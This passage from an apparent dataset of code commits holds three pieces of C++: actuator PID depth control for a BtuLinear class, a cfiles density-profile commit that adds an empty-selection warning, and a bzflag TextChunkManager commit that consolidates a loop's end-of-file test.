scaledPos;\n}\n\nvoid BtuLinear::velocityControl(float setVel) {\n    velocityControlHelper(setVel, ACT_A);\n    velocityControlHelper(setVel, ACT_B);\n}\n\nfloat btu_abs(float a) {\n    return (a >= 0) ? a : -a;\n}\n\nvoid BtuLinear::velocityControlHelper(float setVelocity, int ctrl) {\n    \/\/ float pos = m_motorServo.readPosition();\n    if(ctrl != ACT_A && ctrl != ACT_B) {\n        return;\n    }\n    float pos;\n    float deltaVolt;\n    float cmdVolt;\n    float setVel = setVelocity;\n\n    if(ctrl == ACT_A) {\n        pos = getActPosition(ACT_A);\n        m_velAPid.setProcessValue((pos - m_oldPosA) \/ PID_FREQ);\n        m_velAPid.setSetPoint(setVel);\n        deltaVolt = m_velAPid.compute();\n        m_oldPosA = pos;\n    } else if(ctrl == ACT_B){\n        pos = getActPosition(ACT_B);\n        m_velBPid.setProcessValue((pos - m_oldPosB) \/ PID_FREQ);\n        m_velBPid.setSetPoint(setVel);\n        deltaVolt = m_velBPid.compute();\n        m_oldPosB = pos;\n    }\n    m_currentVoltage = utility::clip(m_currentVoltage + deltaVolt, -1.0, 1.0);\n    if ((getActPosition(ctrl) <= 0.01 && setVel < 0) || (getActPosition(ctrl) >= 0.99 && setVel > 0)) {\n        m_currentVoltage = 0;\n    }\n    cmdVolt = m_currentVoltage;\n    if(btu_abs(cmdVolt) <= VOLTAGE_THRESHOLD) {\n        cmdVolt = 0;\n    }\n    voltageControlHelper(cmdVolt, ctrl);\n\n}\n\nvoid BtuLinear::positionControlHelper(float setPosDeg, int ctrl) {\n    if(ctrl == ACT_A) {\n        m_posAPid.setSetPoint(setPosDeg);\n        \/\/ m_specPid.setProcessValue(m_motorServo.readPosition());\n        m_posAPid.setProcessValue(getActPosition(ACT_A));\n        float cmdVelA = m_posAPid.compute();\n        \/\/ m_specCmd = (int)(cmdVel >= 0); \/\/ just for test recording purposes\n        velocityControlHelper(cmdVelA, ACT_A);\n    } else {\n        m_posBPid.setSetPoint(setPosDeg);\n        \/\/ m_specPid.setProcessValue(m_motorServo.readPosition());\n        m_posBPid.setProcessValue(getActPosition(ACT_B));\n        float cmdVelB = m_posBPid.compute();\n        \/\/ m_specCmd = (int)(cmdVel >= 0); \/\/ just for test recording purposes\n        velocityControlHelper(cmdVelB, ACT_B);\n    }\n\n}\n\nvoid BtuLinear::positionControl(float setPos) {\n    positionControlHelper(setPos, ACT_A);\n    positionControlHelper(setPos, ACT_B);\n}\n\nvoid BtuLinear::depthControlHelper(float cmdVelocity) {\n    velocityControlHelper(cmdVelocity, ACT_A);\n    positionControlHelper(getActPosition(ACT_A), ACT_B);\n}\n\nvoid BtuLinear::depthControl(float setDepthMeters) {\n    m_depthPid.setSetPoint(setDepthMeters);\n\n    float curDepth = getDepth();\n\n    m_depthPid.setProcessValue(curDepth);\n\n    float cmdVel = m_depthPid.compute();\n    depthControlHelper(cmdVel);\n    \/\/ velocityControl(cmdVel);\n}\n\nfloat BtuLinear::getDepth() {\n    float pvDepth = getPressure();\n    float pvDepthMeters = (pvDepth - P_ATMOS_MBAR) \/ P_WATER_SURFACE_MBAR;\n    return pvDepthMeters;\n}\n\n\/\/ float BTU::getServoPos() {\n\/\/ \treturn m_motorServo.readPosition();\n\/\/ }\n<|endoftext|>"}
{"text":"<commit_before>\/\/ cfiles, an analysis frontend for the Chemfiles library\n\/\/ Copyright (C) Guillaume Fraux and contributors -- BSD license\n\n#include <docopt\/docopt.h>\n#include <sstream>\n#include <fstream>\n\n#include \"DensityProfile.hpp\"\n#include \"Errors.hpp\"\n#include \"utils.hpp\"\n#include \"geometry.hpp\"\n#include \"warnings.hpp\"\n\nusing namespace chemfiles;\n\nstatic const char OPTIONS[] =\nR\"(Compute the density profile of particles along a given axis or radially.\nThe output for the radial density profile is normalized by r.\nSelections for the particles can be specified using the chemfiles selection\nlanguage. It is possible to provide an alternative unit cell or topology for the\ntrajectory file if they are not defined in the trajectory format. The axis can\nbe specified using a coordinate vector (e.g. z axis would be (0,0,1)).\n\nIt is also possible to compute 2D profiles by specifying 2 axis (see --axis and\n--radial options). Other options (--points, --max, --min) may accept two values,\none for each axis. If only one is specified, the same value will be used for\nboth axis (see Examples). The output is a 2D histogram with the first dimension\nbeing the first axis and the second dimension the second axis. If two axis of\nthe same type are used (e.g. twice --axis option), the order will be the one the\nuser gave. If the axis types are different (e.g. --axis and --radial), the\n--axis will be first. Two axis of type radial are forbidden.\n\nFor more information about chemfiles selection language, please see\nhttp:\/\/chemfiles.org\/chemfiles\/latest\/selections.html\n\nUsage:\n  cfiles density [options] <trajectory> [--axis=<axis>...] [--radial=<axis>...]\n  cfiles density (-h | --help)\n\nExamples:\n  cfiles density water.xyz --cell 15:15:25 --guess-bonds --axis=1:1:1\n  cfiles density in.pdb --selection=\"x > 3\" --points=500\n  cfiles density nt.pdb --radial=Z --max=3 --origin=0:0:2\n  cfiles density nt.pdb --profile=Z --radial=Z --max=10:5 --origin=0:0:2\n\nOptions:\n  -h --help                     show this help\n  -o <file>, --output=<file>    write result to <file>. This default to the\n                                trajectory file name with the `.density.dat`\n                                extension.\n  --format=<format>             force the input file format to be <format>\n  -t <path>, --topology=<path>  alternative topology file for the input\n  --topology-format=<format>    use <format> as format for the topology file\n  --guess-bonds                 guess the bonds in the input\n  -c <cell>, --cell=<cell>      alternative unit cell. <cell> format is one of\n                                <a:b:c:α:β:γ> or <a:b:c> or <a>. 'a', 'b' and\n                                'c' are in angstroms, 'α', 'β', and 'γ' are in\n                                degrees.\n  --steps=<steps>               steps to use from the input. <steps> format\n                                is <start>:<end>[:<stride>] with <start>, <end>\n                                and <stride> optional. The used steps goes from\n                                <start> to <end> (excluded) by steps of\n                                <stride>. The default values are 0 for <start>,\n                                the number of steps for <end> and 1 for\n                                <stride>.\n  -s <sel>, --selection=<sel>   selection to use for the particles. This must\n                                be a selection of size 1. [default: atoms: all]\n  --axis=<axis>...              computes a linear density profile along <axis>.\n                                It should be either one of 'X','Y','Z'\n                                or a vector defining the axis (e.g. 1:1:1).\n  --radial=<axis>...            computes a radial density profile using the\n                                distance to <axis>.\n                                It should be either one of 'X','Y','Z'\n                                or a vector defining the axis (e.g. 1:1:1).\n  --origin=<coord>              coordinates for the origin of the axis (only\n                                relevant for radial profiles). [default: 0:0:0]\n  -p <n>, --points=<n>          number of points in the profile [default: 200]\n  --max=<max>                   maximum distance in the profile. [default: 10]\n  --min=<min>                   minimum distance in the profile. [default: 0]\n                                For radial profiles, <min> must be positive.\n)\";\n\nAverager<double> DensityProfile::setup(int argc, const char* argv[]) {\n    auto options_str = command_header(\"density\", DensityProfile().description()) + \"\\n\";\n    options_str += \"Laura Scalfi <laura.scalfi@ens.fr>\\n\";\n    options_str += OPTIONS;\n    auto args = docopt::docopt(options_str, {argv, argv + argc}, true, \"\");\n\n    AveCommand::parse_options(args);\n\n    options_.selection = args.at(\"--selection\").asString();\n    selection_ = Selection(options_.selection);\n    if (selection_.size() != 1) {\n        throw CFilesError(\"Can not use a selection with size different than 1.\");\n    }\n\n    if (args.at(\"--output\")){\n        options_.outfile = args.at(\"--output\").asString();\n    } else {\n        options_.outfile = AveCommand::options().trajectory + \".density.dat\";\n    }\n\n    if (args.at(\"--axis\")) {\n        for (auto axis: args.at(\"--axis\").asStringList()) {\n            axis_.push_back(Axis::parse(axis, Axis::Linear));\n        }\n    }\n\n    if (args.at(\"--radial\")) {\n        for (auto axis: args.at(\"--radial\").asStringList()) {\n            axis_.push_back(Axis::parse(axis, Axis::Radial));\n        }\n    }\n\n    size_t dimension = dimensionality();\n\n    if (dimension == 0 or dimension > 2) {\n        throw CFilesError(\"No axis or too many axis were given\");\n    }\n\n    if (args.at(\"--points\")) {\n        auto splitted = split(args.at(\"--points\").asString(),':');\n        if (splitted.size() == 1) {\n            options_.npoints[0] = string2long(splitted[0]);\n            options_.npoints[1] = string2long(splitted[0]);\n        } else if (splitted.size() == 2) {\n            if (dimension < 2) {\n                throw CFilesError(\"More --points options than axis\");\n            }\n            options_.npoints[0] = string2long(splitted[0]);\n            options_.npoints[1] = string2long(splitted[1]);\n        } else {\n            throw CFilesError(\"Too many arguments for --points option\");\n        }\n    }\n\n    if (args.at(\"--origin\")) {\n        auto splitted = split(args.at(\"--origin\").asString(),':');\n        if (splitted.size() != 3) {\n            throw CFilesError(\"Origin for density profile should be a vector of size 3\");\n        }\n        auto a = string2double(splitted[0]);\n        auto b = string2double(splitted[1]);\n        auto c = string2double(splitted[2]);\n        options_.origin = vector3d(a, b, c);\n    }\n\n    if (args.at(\"--max\")) {\n        auto splitted = split(args.at(\"--max\").asString(),':');\n        if (splitted.size() == 1) {\n            options_.max[0] = string2double(splitted[0]);\n            options_.max[1] = string2double(splitted[0]);\n        } else if (splitted.size() == 2) {\n            if (dimension < 2) {\n                throw CFilesError(\"More --max options than axis\");\n            }\n            options_.max[0] = string2double(splitted[0]);\n            options_.max[1] = string2double(splitted[1]);\n        } else {\n            throw CFilesError(\"Too many arguments for --max option\");\n        }\n    }\n\n    if (args.at(\"--min\")) {\n         auto splitted = split(args.at(\"--min\").asString(),':');\n         if (splitted.size() == 1) {\n             options_.min[0] = string2double(splitted[0]);\n             options_.min[1] = string2double(splitted[0]);\n         } else if (splitted.size() == 2) {\n             if (dimension < 2) {\n                 throw CFilesError(\"More --min options than axis\");\n             }\n             options_.min[0] = string2double(splitted[0]);\n             options_.min[1] = string2double(splitted[1]);\n         } else {\n             throw CFilesError(\"Too many arguments for --min option\");\n         }\n    }\n\n    if (options_.min[0] > options_.max[0]) {\n        throw CFilesError(\"Min > Max for first dimension\");\n    }\n\n    if (options_.min[1] > options_.max[1]) {\n        throw CFilesError(\"Min > Max for second dimension\");\n    }\n\n    if (dimension == 1) {\n        if (axis_[0].is_radial()) {\n            if (options_.min[0] < 0) {\n                throw CFilesError(\"Min value for radial axis should be positive\");\n            }\n        }\n        return Averager<double>(options_.npoints[0], options_.min[0], options_.max[0]);\n    } else {\n        assert(dimension == 2);\n        if (axis_[0].is_radial()) {\n            if (options_.min[1] < 0) {\n                throw CFilesError(\"Min value for radial axis should be positive\");\n            }\n        }\n        return Averager<double>(options_.npoints[0], options_.min[0], options_.max[0], options_.npoints[1], options_.min[1], options_.max[1]);\n    }\n}\n\n\nstd::string DensityProfile::description() const {\n    return \"compute density profiles\";\n}\n\nvoid DensityProfile::accumulate(const chemfiles::Frame& frame, Histogram<double>& profile) {\n    auto positions = frame.positions();\n    auto cell = frame.cell();\n\n    assert(selection_.size() == 1);\n    for (auto i: selection_.list(frame)) {\n        double x = 0;\n        double y = 0;\n        if (axis_[0].is_linear()) {\n            x = axis_[0].projection(cell.wrap(positions[i]));\n        } else {\n            assert(axis_[0].is_radial());\n            x = axis_[0].projection(cell.wrap(positions[i] - options_.origin));\n        }\n        if (dimensionality() == 2) {\n            if (axis_[1].is_linear()) {\n                y = axis_[1].projection(cell.wrap(positions[i]));\n            } else {\n                assert(axis_[1].is_radial());\n                y = axis_[1].projection(cell.wrap(positions[i] - options_.origin));\n            }\n        }\n        try {\n            if (dimensionality() == 1) {\n                profile.insert(x);\n            } else {\n                profile.insert(x,y);\n            }\n        } catch (const OutOfBoundsError& e) {\n            warn_once(e.what());\n        }\n    }\n}\n\nvoid DensityProfile::finish(const Histogram<double>& profile) {\n    std::ofstream outfile(options_.outfile, std::ios::out);\n    if (outfile.is_open()) {\n        outfile << \"# Density profile in trajectory \" << AveCommand::options().trajectory << std::endl;\n        outfile << \"# along axis \" << axis_[0].str() << std::endl;\n        if (dimensionality() == 2) {\n            outfile << \"# and along axis \" << axis_[1].str() << std::endl;\n        }\n        outfile << \"# Selection: \" << options_.selection << std::endl;\n\n        if (dimensionality() == 1) {\n            for (size_t i = 0; i < profile.size(); i++){\n                if (axis_[0].is_linear()) {\n                    outfile << profile.first_coord(i) << \"  \" << profile[i] << \"\\n\";\n                } else {\n                    assert(axis_[0].is_radial());\n                    outfile << profile.first_coord(i) << \"  \" << profile[i] \/ profile.first_coord(i) << \"\\n\";\n                }\n            }\n        } else {\n            outfile << \"# FirstDimension SecondDimension Density\" << std::endl;\n\n            for (size_t i = 0; i < profile.first().nbins; i++){\n                for (size_t j = 0; j < profile.second().nbins; j++){\n                    outfile << profile.first_coord(i) << \"\\t\" << profile.second_coord(j) << \"\\t\";\n                    if (axis_[0].is_linear() and axis_[1].is_linear()) {\n                        outfile << profile(i,j) << \"\\n\";\n                    } else {\n                        assert(axis_[0].is_linear() and axis_[1].is_radial());\n                        outfile << profile(i,j) \/ profile.second_coord(j) << \"\\n\";\n                    }\n                }\n            }\n        }\n    } else {\n        throw CFilesError(\"Could not open the '\" + options_.outfile + \"' file.\");\n    }\n}\n<commit_msg>Add a warning for no matching atoms in density<commit_after>\/\/ cfiles, an analysis frontend for the Chemfiles library\n\/\/ Copyright (C) Guillaume Fraux and contributors -- BSD license\n\n#include <docopt\/docopt.h>\n#include <sstream>\n#include <fstream>\n\n#include \"DensityProfile.hpp\"\n#include \"Errors.hpp\"\n#include \"utils.hpp\"\n#include \"geometry.hpp\"\n#include \"warnings.hpp\"\n\nusing namespace chemfiles;\n\nstatic const char OPTIONS[] =\nR\"(Compute the density profile of particles along a given axis or radially.\nThe output for the radial density profile is normalized by r.\nSelections for the particles can be specified using the chemfiles selection\nlanguage. It is possible to provide an alternative unit cell or topology for the\ntrajectory file if they are not defined in the trajectory format. The axis can\nbe specified using a coordinate vector (e.g. z axis would be (0,0,1)).\n\nIt is also possible to compute 2D profiles by specifying 2 axis (see --axis and\n--radial options). Other options (--points, --max, --min) may accept two values,\none for each axis. If only one is specified, the same value will be used for\nboth axis (see Examples). The output is a 2D histogram with the first dimension\nbeing the first axis and the second dimension the second axis. If two axis of\nthe same type are used (e.g. twice --axis option), the order will be the one the\nuser gave. If the axis types are different (e.g. --axis and --radial), the\n--axis will be first. Two axis of type radial are forbidden.\n\nFor more information about chemfiles selection language, please see\nhttp:\/\/chemfiles.org\/chemfiles\/latest\/selections.html\n\nUsage:\n  cfiles density [options] <trajectory> [--axis=<axis>...] [--radial=<axis>...]\n  cfiles density (-h | --help)\n\nExamples:\n  cfiles density water.xyz --cell 15:15:25 --guess-bonds --axis=1:1:1\n  cfiles density in.pdb --selection=\"x > 3\" --points=500\n  cfiles density nt.pdb --radial=Z --max=3 --origin=0:0:2\n  cfiles density nt.pdb --profile=Z --radial=Z --max=10:5 --origin=0:0:2\n\nOptions:\n  -h --help                     show this help\n  -o <file>, --output=<file>    write result to <file>. This default to the\n                                trajectory file name with the `.density.dat`\n                                extension.\n  --format=<format>             force the input file format to be <format>\n  -t <path>, --topology=<path>  alternative topology file for the input\n  --topology-format=<format>    use <format> as format for the topology file\n  --guess-bonds                 guess the bonds in the input\n  -c <cell>, --cell=<cell>      alternative unit cell. <cell> format is one of\n                                <a:b:c:α:β:γ> or <a:b:c> or <a>. 'a', 'b' and\n                                'c' are in angstroms, 'α', 'β', and 'γ' are in\n                                degrees.\n  --steps=<steps>               steps to use from the input. <steps> format\n                                is <start>:<end>[:<stride>] with <start>, <end>\n                                and <stride> optional. The used steps goes from\n                                <start> to <end> (excluded) by steps of\n                                <stride>. The default values are 0 for <start>,\n                                the number of steps for <end> and 1 for\n                                <stride>.\n  -s <sel>, --selection=<sel>   selection to use for the particles. This must\n                                be a selection of size 1. [default: atoms: all]\n  --axis=<axis>...              computes a linear density profile along <axis>.\n                                It should be either one of 'X','Y','Z'\n                                or a vector defining the axis (e.g. 1:1:1).\n  --radial=<axis>...            computes a radial density profile using the\n                                distance to <axis>.\n                                It should be either one of 'X','Y','Z'\n                                or a vector defining the axis (e.g. 1:1:1).\n  --origin=<coord>              coordinates for the origin of the axis (only\n                                relevant for radial profiles). [default: 0:0:0]\n  -p <n>, --points=<n>          number of points in the profile [default: 200]\n  --max=<max>                   maximum distance in the profile. [default: 10]\n  --min=<min>                   minimum distance in the profile. [default: 0]\n                                For radial profiles, <min> must be positive.\n)\";\n\nAverager<double> DensityProfile::setup(int argc, const char* argv[]) {\n    auto options_str = command_header(\"density\", DensityProfile().description()) + \"\\n\";\n    options_str += \"Laura Scalfi <laura.scalfi@ens.fr>\\n\";\n    options_str += OPTIONS;\n    auto args = docopt::docopt(options_str, {argv, argv + argc}, true, \"\");\n\n    AveCommand::parse_options(args);\n\n    options_.selection = args.at(\"--selection\").asString();\n    selection_ = Selection(options_.selection);\n    if (selection_.size() != 1) {\n        throw CFilesError(\"Can not use a selection with size different than 1.\");\n    }\n\n    if (args.at(\"--output\")){\n        options_.outfile = args.at(\"--output\").asString();\n    } else {\n        options_.outfile = AveCommand::options().trajectory + \".density.dat\";\n    }\n\n    if (args.at(\"--axis\")) {\n        for (auto axis: args.at(\"--axis\").asStringList()) {\n            axis_.push_back(Axis::parse(axis, Axis::Linear));\n        }\n    }\n\n    if (args.at(\"--radial\")) {\n        for (auto axis: args.at(\"--radial\").asStringList()) {\n            axis_.push_back(Axis::parse(axis, Axis::Radial));\n        }\n    }\n\n    size_t dimension = dimensionality();\n\n    if (dimension == 0 or dimension > 2) {\n        throw CFilesError(\"No axis or too many axis were given\");\n    }\n\n    if (args.at(\"--points\")) {\n        auto splitted = split(args.at(\"--points\").asString(),':');\n        if (splitted.size() == 1) {\n            options_.npoints[0] = string2long(splitted[0]);\n            options_.npoints[1] = string2long(splitted[0]);\n        } else if (splitted.size() == 2) {\n            if (dimension < 2) {\n                throw CFilesError(\"More --points options than axis\");\n            }\n            options_.npoints[0] = string2long(splitted[0]);\n            options_.npoints[1] = string2long(splitted[1]);\n        } else {\n            throw CFilesError(\"Too many arguments for --points option\");\n        }\n    }\n\n    if (args.at(\"--origin\")) {\n        auto splitted = split(args.at(\"--origin\").asString(),':');\n        if (splitted.size() != 3) {\n            throw CFilesError(\"Origin for density profile should be a vector of size 3\");\n        }\n        auto a = string2double(splitted[0]);\n        auto b = string2double(splitted[1]);\n        auto c = string2double(splitted[2]);\n        options_.origin = vector3d(a, b, c);\n    }\n\n    if (args.at(\"--max\")) {\n        auto splitted = split(args.at(\"--max\").asString(),':');\n        if (splitted.size() == 1) {\n            options_.max[0] = string2double(splitted[0]);\n            options_.max[1] = string2double(splitted[0]);\n        } else if (splitted.size() == 2) {\n            if (dimension < 2) {\n                throw CFilesError(\"More --max options than axis\");\n            }\n            options_.max[0] = string2double(splitted[0]);\n            options_.max[1] = string2double(splitted[1]);\n        } else {\n            throw CFilesError(\"Too many arguments for --max option\");\n        }\n    }\n\n    if (args.at(\"--min\")) {\n         auto splitted = split(args.at(\"--min\").asString(),':');\n         if (splitted.size() == 1) {\n             options_.min[0] = string2double(splitted[0]);\n             options_.min[1] = string2double(splitted[0]);\n         } else if (splitted.size() == 2) {\n             if (dimension < 2) {\n                 throw CFilesError(\"More --min options than axis\");\n             }\n             options_.min[0] = string2double(splitted[0]);\n             options_.min[1] = string2double(splitted[1]);\n         } else {\n             throw CFilesError(\"Too many arguments for --min option\");\n         }\n    }\n\n    if (options_.min[0] > options_.max[0]) {\n        throw CFilesError(\"Min > Max for first dimension\");\n    }\n\n    if (options_.min[1] > options_.max[1]) {\n        throw CFilesError(\"Min > Max for second dimension\");\n    }\n\n    if (dimension == 1) {\n        if (axis_[0].is_radial()) {\n            if (options_.min[0] < 0) {\n                throw CFilesError(\"Min value for radial axis should be positive\");\n            }\n        }\n        return Averager<double>(options_.npoints[0], options_.min[0], options_.max[0]);\n    } else {\n        assert(dimension == 2);\n        if (axis_[0].is_radial()) {\n            if (options_.min[1] < 0) {\n                throw CFilesError(\"Min value for radial axis should be positive\");\n            }\n        }\n        return Averager<double>(options_.npoints[0], options_.min[0], options_.max[0], options_.npoints[1], options_.min[1], options_.max[1]);\n    }\n}\n\n\nstd::string DensityProfile::description() const {\n    return \"compute density profiles\";\n}\n\nvoid DensityProfile::accumulate(const chemfiles::Frame& frame, Histogram<double>& profile) {\n    auto positions = frame.positions();\n    auto cell = frame.cell();\n\n    assert(selection_.size() == 1);\n    auto selected = selection_.list(frame);\n    if (selected.empty()) {\n        warn(\n            \"No matching atom for selection '\" + selection_.string() +\n            \"' at step \" + std::to_string(frame.step())\n        );\n    }\n\n    for (auto i: selected) {\n        double x = 0;\n        double y = 0;\n        if (axis_[0].is_linear()) {\n            x = axis_[0].projection(cell.wrap(positions[i]));\n        } else {\n            assert(axis_[0].is_radial());\n            x = axis_[0].projection(cell.wrap(positions[i] - options_.origin));\n        }\n        if (dimensionality() == 2) {\n            if (axis_[1].is_linear()) {\n                y = axis_[1].projection(cell.wrap(positions[i]));\n            } else {\n                assert(axis_[1].is_radial());\n                y = axis_[1].projection(cell.wrap(positions[i] - options_.origin));\n            }\n        }\n        try {\n            if (dimensionality() == 1) {\n                profile.insert(x);\n            } else {\n                profile.insert(x,y);\n            }\n        } catch (const OutOfBoundsError& e) {\n            warn_once(e.what());\n        }\n    }\n}\n\nvoid DensityProfile::finish(const Histogram<double>& profile) {\n    std::ofstream outfile(options_.outfile, std::ios::out);\n    if (outfile.is_open()) {\n        outfile << \"# Density profile in trajectory \" << AveCommand::options().trajectory << std::endl;\n        outfile << \"# along axis \" << axis_[0].str() << std::endl;\n        if (dimensionality() == 2) {\n            outfile << \"# and along axis \" << axis_[1].str() << std::endl;\n        }\n        outfile << \"# Selection: \" << options_.selection << std::endl;\n\n        if (dimensionality() == 1) {\n            for (size_t i = 0; i < profile.size(); i++){\n                if (axis_[0].is_linear()) {\n                    outfile << profile.first_coord(i) << \"  \" << profile[i] << \"\\n\";\n                } else {\n                    assert(axis_[0].is_radial());\n                    outfile << profile.first_coord(i) << \"  \" << profile[i] \/ profile.first_coord(i) << \"\\n\";\n                }\n            }\n        } else {\n            outfile << \"# FirstDimension SecondDimension Density\" << std::endl;\n\n            for (size_t i = 0; i < profile.first().nbins; i++){\n                for (size_t j = 0; j < profile.second().nbins; j++){\n                    outfile << profile.first_coord(i) << \"\\t\" << profile.second_coord(j) << \"\\t\";\n                    if (axis_[0].is_linear() and axis_[1].is_linear()) {\n                        outfile << profile(i,j) << \"\\n\";\n                    } else {\n                        assert(axis_[0].is_linear() and axis_[1].is_radial());\n                        outfile << profile(i,j) \/ profile.second_coord(j) << \"\\n\";\n                    }\n                }\n            }\n        }\n    } else {\n        throw CFilesError(\"Could not open the '\" + options_.outfile + \"' file.\");\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* bzflag\n * Copyright (c) 1993 - 2006 Tim Riker\n *\n * This package is free software;  you can redistribute it and\/or\n * modify it under the terms of the license found in the file\n * named COPYING that should have accompanied this file.\n *\n * THIS PACKAGE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR\n * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.\n *\/\n\n#ifdef _MSC_VER\n#pragma warning(4: 4786)\n#endif\n\n\/* interface header *\/\n#include \"TextChunkManager.h\"\n\n\/* system implementation headers *\/\n#include <fstream>\n\n\n\/******************************************************************************\/\n\nTextChunk::TextChunk() :\n  fileName(\"\"),\n  maxLines(-1),\n  maxLineLength(-1)\n{\n  \/\/ for the <map>[] operator\n}\n\n\nTextChunk::TextChunk(const std::string& _fileName, int _maxLines, int _maxLineLength)\n{\n  fileName = _fileName;\n  maxLines = _maxLines;\n  maxLineLength = _maxLineLength;\n  theVector = parse(_maxLines);\n  return;\n}\n\n\nTextChunk::TextChunk(const TextChunk& tc)\n{\n  fileName = tc.fileName;\n  theVector = tc.theVector;\n  return;\n}\n\n\n#define PARSE_BUFSIZE 4096 \nStringVector TextChunk::parse(const int _max_lines)\n{\n  StringVector strings;\n  char buffer[PARSE_BUFSIZE] = {0};\n  std::ifstream in;\n  int long_lines_encountered = 0;\n  int maxMsg = maxLineLength < 0 ? PARSE_BUFSIZE : maxLineLength < PARSE_BUFSIZE ? maxLineLength : PARSE_BUFSIZE;\n\n  in.open(fileName.c_str());\n  if (!in || !in.is_open()) {\n    snprintf(buffer, maxMsg, \"WARNING: unable to open %s\", fileName.c_str());\n    strings.push_back(buffer);\n    return strings;\n  }\n\n  for(int i = 0; in.good(); i++) {\n\n    \/\/ pull a line from the file\n    in.getline(buffer, PARSE_BUFSIZE);\n    \n    if (in.fail()) {\n      snprintf(buffer, maxMsg, \"WARNING: there was a problem reading %s\", fileName.c_str());\n      strings.push_back(buffer);\n      break;\n    }\n\n    if (strlen(buffer) > (size_t) maxMsg - 1) {\n      \/\/ line is too long, say something when we're done\n      long_lines_encountered++;\n    }\n    buffer[maxMsg - 1] = '\\0';  \/\/ terminate\/clamp all lines with\/to maxLineLength \n    strings.push_back(buffer);\n    \n    if ((_max_lines > 0) && (i >= _max_lines)) {\n      snprintf(buffer, maxMsg, \"WARNING: %s has more than %d lines, truncated.\", fileName.c_str(), _max_lines);\n      strings.push_back(buffer);\n      break;\n    }\n\n    \/\/ was that the last line?\n    if (in.eof()) {\n      break;\n    }\n  } \/\/ end parsing for loop\n\n  if (long_lines_encountered) {\n    \/\/ at least one long line was encountered\n    snprintf(buffer, maxMsg, \"WARNING: truncated %d long line%s from %s (limit of %d characters)\", long_lines_encountered, long_lines_encountered == 1? \"\" : \"s\", fileName.c_str(), maxMsg - 1);\n    strings.push_back(buffer);\n  }\n\n  return strings;\n}\n\nbool TextChunk::reload()\n{\n  StringVector newVec = parse(maxLines);\n  if (newVec.size() > 0) {\n    theVector = newVec;\n  }\n  return (theVector.size() > 0);\n}\n\n\nsize_t TextChunk::size() const\n{\n  return theVector.size();\n}\n\n\nconst StringVector& TextChunk::getVector() const\n{\n  return theVector;\n}\n\n\n\/******************************************************************************\/\n\nbool TextChunkManager::parseFile(const std::string &fileName,\n\t\t\t\t const std::string &chunkName,\n\t\t\t\t const int maxLines,\n\t\t\t\t const int maxLineLength)\n{\n  TextChunk textChunk(fileName, maxLines, maxLineLength);\n\n  if (textChunk.size() <= 0) {\n    return false;\n  }\n\n  \/\/ add a new chunk name if it isn't already listed\n  if (theChunks.find(chunkName) == theChunks.end()) {\n    chunkNames.push_back(chunkName);\n  }\n\n  \/\/ add or replace the chunk\n  theChunks[chunkName] = textChunk;\n\n  return true;\n}\n\n\nconst StringVector* TextChunkManager::getTextChunk(const std::string &chunkName) const\n{\n  TextChunkMap::const_iterator it;\n  it = theChunks.find(chunkName);\n  if (it != theChunks.end()){\n    return &it->second.getVector();\n  } else {\n    return NULL;\n  }\n}\n\n\nconst StringVector& TextChunkManager::getChunkNames() const\n{\n  return chunkNames;\n}\n\n\nvoid TextChunkManager::reload()\n{\n  TextChunkMap::iterator it;\n  for (it = theChunks.begin(); it != theChunks.end(); it++) {\n    it->second.reload();\n  }\n  return;\n}\n\n\n\/******************************************************************************\/\n\n\n\/\/ Local Variables: ***\n\/\/ mode:C++ ***\n\/\/ tab-width: 8 ***\n\/\/ c-basic-offset: 2 ***\n\/\/ indent-tabs-mode: t ***\n\/\/ End: ***\n\/\/ ex: shiftwidth=2 tabstop=8\n\n<commit_msg>consolidate test<commit_after>\/* bzflag\n * Copyright (c) 1993 - 2006 Tim Riker\n *\n * This package is free software;  you can redistribute it and\/or\n * modify it under the terms of the license found in the file\n * named COPYING that should have accompanied this file.\n *\n * THIS PACKAGE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR\n * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.\n *\/\n\n#ifdef _MSC_VER\n#pragma warning(4: 4786)\n#endif\n\n\/* interface header *\/\n#include \"TextChunkManager.h\"\n\n\/* system implementation headers *\/\n#include <fstream>\n\n\n\/******************************************************************************\/\n\nTextChunk::TextChunk() :\n  fileName(\"\"),\n  maxLines(-1),\n  maxLineLength(-1)\n{\n  \/\/ for the <map>[] operator\n}\n\n\nTextChunk::TextChunk(const std::string& _fileName, int _maxLines, int _maxLineLength)\n{\n  fileName = _fileName;\n  maxLines = _maxLines;\n  maxLineLength = _maxLineLength;\n  theVector = parse(_maxLines);\n  return;\n}\n\n\nTextChunk::TextChunk(const TextChunk& tc)\n{\n  fileName = tc.fileName;\n  theVector = tc.theVector;\n  return;\n}\n\n\n#define PARSE_BUFSIZE 4096 \nStringVector TextChunk::parse(const int _max_lines)\n{\n  StringVector strings;\n  char buffer[PARSE_BUFSIZE] = {0};\n  std::ifstream in;\n  int long_lines_encountered = 0;\n  int maxMsg = maxLineLength < 0 ? PARSE_BUFSIZE : maxLineLength < PARSE_BUFSIZE ? maxLineLength : PARSE_BUFSIZE;\n\n  in.open(fileName.c_str());\n  if (!in || !in.is_open()) {\n    snprintf(buffer, maxMsg, \"WARNING: unable to open %s\", fileName.c_str());\n    strings.push_back(buffer);\n    return strings;\n  }\n\n  for(int i = 0; in.good() && !in.eof(); i++) {\n\n    \/\/ pull a line from the file\n    in.getline(buffer, PARSE_BUFSIZE);\n    \n    if (in.fail()) {\n      snprintf(buffer, maxMsg, \"WARNING: there was a problem reading %s\", fileName.c_str());\n      strings.push_back(buffer);\n      break;\n    }\n\n    if (strlen(buffer) > (size_t) maxMsg - 1) {\n      \/\/ line is too long, say something when we're done\n      long_lines_encountered++;\n    }\n    buffer[maxMsg - 1] = '\\0';  \/\/ terminate\/clamp all lines with\/to maxLineLength \n    strings.push_back(buffer);\n    \n    if ((_max_lines > 0) && (i >= _max_lines)) {\n      snprintf(buffer, maxMsg, \"WARNING: %s has more than %d lines, truncated.\", fileName.c_str(), _max_lines);\n      strings.push_back(buffer);\n      break;\n    }\n  } \/\/ end parsing for loop\n\n  if (long_lines_encountered) {\n    \/\/ at least one long line was encountered\n    snprintf(buffer, maxMsg, 